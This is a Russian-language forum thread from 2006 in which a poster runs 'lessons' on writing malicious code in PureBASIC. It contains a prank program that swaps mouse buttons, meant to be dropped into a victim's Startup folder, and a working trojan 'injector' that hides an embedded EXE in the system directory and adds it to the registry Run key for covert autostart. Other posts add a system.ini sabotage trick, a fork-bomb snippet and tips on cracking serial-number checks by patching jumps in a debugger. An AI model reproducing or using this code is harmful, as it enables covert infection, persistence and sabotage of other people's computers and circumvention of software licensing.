Dark side of Programming, PureBASIC |
Здравствуйте, гость ( Вход | Регистрация )
Dark side of Programming, PureBASIC |
24 Dec 2006, 19:50
(Сообщение отредактировал Chrono Syndrome - 27 Dec 2006, 11:39)
Сообщение
#1
|
|
•●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5934 раза |
Традиционно считается, что программирование - созидеательный процесс. И верно. Но есть одно такое интересное "но"... В криво переведенном WarZone 2100 было такое понятие: 'разрушительная структура'. Такие вещи возможны и в программировании... Да, именно так: я (и не только я, чужие статьи только приветствуются !) буду учить вас здесь написанию т.н. "вредоносного кода". Вирусы, трояны, черви, шпионы, все они попадают под это емкое опредение.
Что же, давайте перейдем к делу. Для всех примеров, если не указанно иного, вам потребуется PureBASIC v4.0 (качаем здесь: http://forum.df2.ru/index.php?showtopic=2851), лучший, ИМХО, из существующих на сегодняшний день ЯВУ. Так же будем совсем не лишним хотя бы минимальное умение на нем писать . Итак, УРОК ПЕРВЫЙ: Допустим вам хочется подшутить над другом\подругой. Подшутить беззлобно, без потери данных, порчи железа и т.п. вещей. Хочется ? Я помогу . Предлагаю поменять местами сигнал от конопок мыши (т.е., чтобы левый клик считался как правый, и наоборот). А потом, через случайный промежуток времени, вернуть все как было. А потом опять поменять... И так до бесконечности . Короче говоря, открываем PureBASIC IDE, и вписываем туда следующий код: Код Define FSwap = -1 Repeat : SwapMouseButton_(FSwap) FSwap = ~FSwap Delay((Random(4) + 1) * 100) ForEver Код примитивнейший, поэтому пояснять ничего не буду, замечу лишь, что API SwapMouseButon, цитирую: Цитата reverses or restores the meaning of the left and right mouse buttons. BOOL SwapMouseButton( BOOL fSwap // reverse or restore buttons ); Parameters fSwap Specifies whether the mouse button meanings are reversed or restored. If this parameter is TRUE, the left button generates right-button messages and the right button generates left-button messages. If this parameter is FALSE, the buttons are restored to their original meanings. После этого компилируем прогу, и потихоньку кидаем .EXE'шник (более продвинутые варианты рассмотрим в следующих уроках ) жертве в "Автозагрузку". Все, HAVE FUN . Самое смешное, что многие люди сначала начинают грешить на мышь, и лишь потом до них доходит, что не все-то так просто ... Ладно, хватит для начала. Да, кстати, если статья вам понравилась, то можете, не стесняясь, поставить мне плюсик . To be continued... -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
24 Dec 2006, 20:52
Сообщение
#2
|
|
Immortal Сообщений: 2 415 Спасибо сказали: 60 раз |
вопросик прога делает это программно через хук? тогда можно в панели управления поменять кнопки местами
-------------------- |
|
|
24 Dec 2006, 21:44
(Сообщение отредактировал Chrono Syndrome - 24 Dec 2006, 21:54)
Сообщение
#3
|
|
•●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5934 раза |
Цитата вопросик прога делает это программно через хук? Нет, без хука. Просто меняется режим работы мыши. -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
25 Dec 2006, 16:10
Сообщение
#4
|
|
Advanced Member Сообщений: 144 Спасибо сказали: 0 раз |
эх, когда деревья были большими, а колбаса вкусной, и когда у всех стояли 98 форточки был один весёленький прикол заставлявший друзей немного нервничать. Его действие было примерно таким. (скорее всего все вы о ней знаете, но всё таки)
Чувак включает комп выходит заставка винды и после этого экрас с надписью: Питание компьютера теперь можно выключить (или что то в этом роде, не помню дословно фразу) и комп вырубается. И так повторяется до бесконечности. Чувак в стопоре. Занавес. А делается эта маленькая подлянка достаточно просто. В файле system.ini есть строчка mouse.drv=moue.drv и делаем замену на mouse.drv=(всё что угодно, либо пустое поле). Сохраняем файлик. (Делаем это тогда, когда просим друга принести водички попить). И продолжаем заниматся своими делами. Как только комп выключится или перезагрузится то будет этот милый прикол. Лечилка проста. Загружаемся в safe mode и восстанавливаем значение как оно и было. Вот -------------------- |
|
|
25 Dec 2006, 16:18
Сообщение
#5
|
|
Яблочный произвол! Сообщений: 11 080 Спасибо сказали: 3988 раз |
и каково же обьяснение этому? почему так происходит?
|
|
|
25 Dec 2006, 16:27
Сообщение
#6
|
|
Advanced Member Сообщений: 144 Спасибо сказали: 0 раз |
Цитата(gamecreator @ 25 Dec 2006, 17:18) и каково же обьяснение этому? почему так происходит? нестыковка системного файла, и итог выключение компа -------------------- |
|
|
25 Dec 2006, 17:14
(Сообщение отредактировал Chrono Syndrome - 25 Dec 2006, 17:15)
Сообщение
#7
|
|
•●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5934 раза |
Итак, я думаю настало время приподать вам Урок №2 .
В прошлом уроке я рассказала вам о том, как написать простейшую программу-шутку. Теперь давайте обсудим способы ее внедрения в компьютер жертвы. Допустим, вы НЕ имеете прямого доступа к компьютеру жертвы. Что же делать ? А вот что: мы напишем на PureBASIC'е какую-нибудь программу (можно и просто взять чужую, главное - иметь исходник), и вставим в ее начало следующий код: Код Procedure RegSetKey(hKey, SubKey.S, ValueName.S, Dat.S) Define Hnd RegCreateKeyEx_(hKey, @SubKey, 0, 0, 0, #KEY_WRITE, 0, @Hnd, 0) RegSetValueEx_(Hnd, @ValueName, 0, #REG_SZ, @Dat, Len(Dat)) RegCloseKey_(Hnd) EndProcedure DataSection DNA: IncludeBinary "путь до иньектируемого EXE" End_DNA: EndDataSection Define SysDir.S = Space(#MAX_PATH) GetSystemDirectory_(SysDir, #MAX_PATH) SysDir = PeekS(@SysDir) If Right(SysDir, 1) <> "\" : SysDir + "\" : EndIf SysDir + "MC.EXE" SetFileAttributes(SysDir, #PB_FileSystem_Normal) CreateFile(0, SysDir) WriteData(0, ?DNA, ?End_DNA - ?DNA) CloseFile(0) RegSetKey(#HKEY_LOCAL_MACHINE, "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run", "Mouse_Controller", SysDir) Подобные вещи я называю "иньекторами". Данный код извлекает из ресурсной секции приаттаченную оператором IncludeBinary (полезнейшая вещь, кстати ) программу-шутку, и записывает ее жертве в системную директорию (можно, по идее, и в любую другую, но мне больше нравиться так) под именем "MC.EXE", после чего прописывает ее в реестре на автозапуск. Разберем последний этап по-подробнее. Дело в том, что помимо "автозагрузки" есть еще один способ заставить Windows автоматически запускать какую-либо программу на старте - создание в разделе реестра "SOFTWARE\MicroSoft\Windows\CurrentVersion\Run" значение типа #REG_SZ (имя не имеет значения), содержащего путь до запускаемого EXE'шника. В зависимости от выбора стартового раздела: #HKEY_LOCAL_MACHINE или #HKEY_CURRENT_USER, автозапуск будет выполняться для всех пользователей вообще, или только для запустившего иньектор. Лично мне этот путь нравиться намного больше, чем операции с "Автозагрузкой", т.к. просмотреть реестр догадывается гораздо меньше народу. Итак, теперь вы знаете, как обеспечить незаметное автоматическое проникновение вашего кода на чужой компьютер. Это довольно-таки опасные знания, так что будьте благоразумны, хе-хе . Скорее всего у вас возникнет вопрос: а можно ли сделать иньектор для программы, исходников которой у вас нет (или есть, но они написанны не на PB) ? Можно, конечно. Но об этом уже как-нибудь в другой раз, ибо сегодняшний урок уже окончен . P.S. Я плюсов дождусь или нет ? -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
25 Dec 2006, 17:39
Сообщение
#8
|
|
Князь Бореи Сообщений: 5 171 Спасибо сказали: 1349 раз |
Я бы поставил, но пока не могу, т.к. недавно плюсовал. А так интересно почитать... продолжай...
Хотелось бы узнать если программа провсит ввести некий код (типа серийный, пусть цифрофой, пусть извесна его длина). Как его подобрать??? Как взломать программу??? В кино хакеры это лихо проделывают... |
|
|
25 Dec 2006, 17:48
Сообщение
#9
|
|
Яблочный произвол! Сообщений: 11 080 Спасибо сказали: 3988 раз |
ручками. берешь и перебираешь все варианты
правда это совсем крайний случай |
|
|
25 Dec 2006, 18:41
Сообщение
#10
|
|
•●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5934 раза |
Цитата Хотелось бы узнать если программа провсит ввести некий код (типа серийный, пусть цифрофой, пусть извесна его длина). Как его подобрать??? Как взломать программу??? В кино хакеры это лихо проделывают... Спроси у Bourn'а, он в этом лучше разбирается. -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
26 Dec 2006, 02:54
(Сообщение отредактировал Avaddon - 26 Dec 2006, 02:55)
Сообщение
#11
|
|
Ангел Сообщений: 450 Спасибо сказали: 4 раза |
Я по пакостям не специалист(дружеский кивок в сторону Chrono Syndrome),
но про серийник рассказать попробую. Подбирать его достаточно гиблое занятие, иногда удается сделать проще Есть такая замечательная софтина, называется Olly Debugger. Я, конечно же, не претендую на то, что это высшй класс, но лично меня не раз выручала. Особенно в игрушках. Так вот! По своей сути эта штука является дизассемблером. Причем в ней есть очень и очень грамотный момент: по количеству и качеству параметров она распознает вызовы WinAPI-функций При такой поддержке хватает минимальных знаний ассемблера, чтобы найти тот самый заветный jnc или jnz ну и т.д. Для тех, кто не знает: jnc, jnz - это команды условного перехода. Действуют по принципу if ... then...goto. Как говорится, "Когда пошел бы я налево, весь мир бы был другим" Иногда(но далеко не всегда!) этого хватает Переключить выполнение сценария программы по типу: "Если серийник гадский, то все хорошо" Но это, ребята, ПРОСТЕЙШИЙ случай. Если кто разбирается в криптографии, он может рассказать про взлом серийников точнее Иногда серийник может являться ключом к расшифровке части программного кода или ряда библиотек, и тогда надо долго анализировать кодирующую/декодирующую часть программы. В том же дизассемблере -------------------- Смерть - не конец, жизнь - не начало...
|
|
|
26 Dec 2006, 08:26
Сообщение
#12
|
|
Immortal Сообщений: 2 415 Спасибо сказали: 60 раз |
главное чтоб серийник не генерился по алгоритму затрагивая API библиотеки криптографии, это crypt32 и от части advapi32
насчет последней строчки хорошо можно посмотреть защиту ASProtect, идеальный пример постепенной расшифровки... я могу рассказать конечно больше о взломе серийника, но это идет углубление в АСМ, и знания каких либо языков программирования, + еще некоторые особенности надо знать чтобы приступать к этому делу... 2 Avaddon мне нравиться дебаггер в делфи... Добавлено ([mergetime]1167110815[/mergetime]): 2 Chrono Syndrome 1)сколька прога эта будет весить? 2)может мне тоже заняться переписыванием твоих примеров на VC тоже в коей мере обучение для незнающих VC 3)на счет проги которая может быть в ресурсах: http://kos.svnets.lv/flame/index.php?showtopic=520 -------------------- |
|
|
26 Dec 2006, 10:06
Сообщение
#13
|
|
•●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5934 раза |
Цитата 1)сколька прога эта будет весить? 6 656 байт в несжатом виде + размер внедряемого EXE. Цитата 2)может мне тоже заняться переписыванием твоих примеров на VC тоже в коей мере обучение для незнающих VC Давай ! Цитата 3)на счет проги которая может быть в ресурсах: Тоже ничего так . Только вообще-то это троян, а не вирус ... -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
26 Dec 2006, 11:35
Сообщение
#14
|
|
Яблочный произвол! Сообщений: 11 080 Спасибо сказали: 3988 раз |
Цитата(Avaddon @ 26 Dec 2006, 02:54) Если кто разбирается в криптографии, он может рассказать про взлом серийников точнее это к хроне. она научилась пароли подбирать |
|
|
26 Dec 2006, 17:20
Сообщение
#15
|
|
Immortal Сообщений: 2 415 Спасибо сказали: 60 раз |
2 Chrono Syndrome
У VC размер 2,5кб 2 gamecreator подбирать это еще полдела -------------------- |
|
|
26 Dec 2006, 17:52
Сообщение
#16
|
|
Князь Бореи Сообщений: 5 171 Спасибо сказали: 1349 раз |
А как работают программки генерации серийников
|
|
|
26 Dec 2006, 19:11
Сообщение
#17
|
|
Immortal Сообщений: 2 415 Спасибо сказали: 60 раз |
нет определенных инструкций по их работе
но они могу использовать шифрование данных, как выше было сказано ключи для расшифровки тела программы, генерации по рандом числам и тп -------------------- |
|
|
27 Dec 2006, 10:29
Сообщение
#18
|
|
•●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5934 раза |
Цитата У VC размер 2,5кб Да ? Ну, бывает ... -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
27 Dec 2006, 15:58
Сообщение
#19
|
|
•●Revolucionario●• Сообщений: 2 467 Спасибо сказали: 5934 раза |
Вне занятий:
Пока писала 3ий урок, впомнила один прикольчик Код RunProgram(ProgramFilename()) RunProgram(ProgramFilename()) Попробуйте запустить, вас ждут незабываемые ощущения ! -------------------- life MOV.I #life+1, *life
האם יש זמן לעצור ? |
|
|
28 Dec 2006, 20:06
Сообщение
#20
|
|
Паладин-Урук Сообщений: 582 Спасибо сказали: 2 раза |
Цитата Попробуйте запустить, вас ждут незабываемые ощущения! Да, да попробуйте запустить. Комп придется перезагружать. А если с автозагрузеой, то хуже любова вируса. -------------------- Кораблик, кораблик унеси меня в царство мертвых Faber est suae quisque furtunae |
|
|
Текстовая версия | Сейчас: 20 April 2024 - 06:12 |
Copyright by Алексей Крючков
Programming by Degtyarev Dmitry |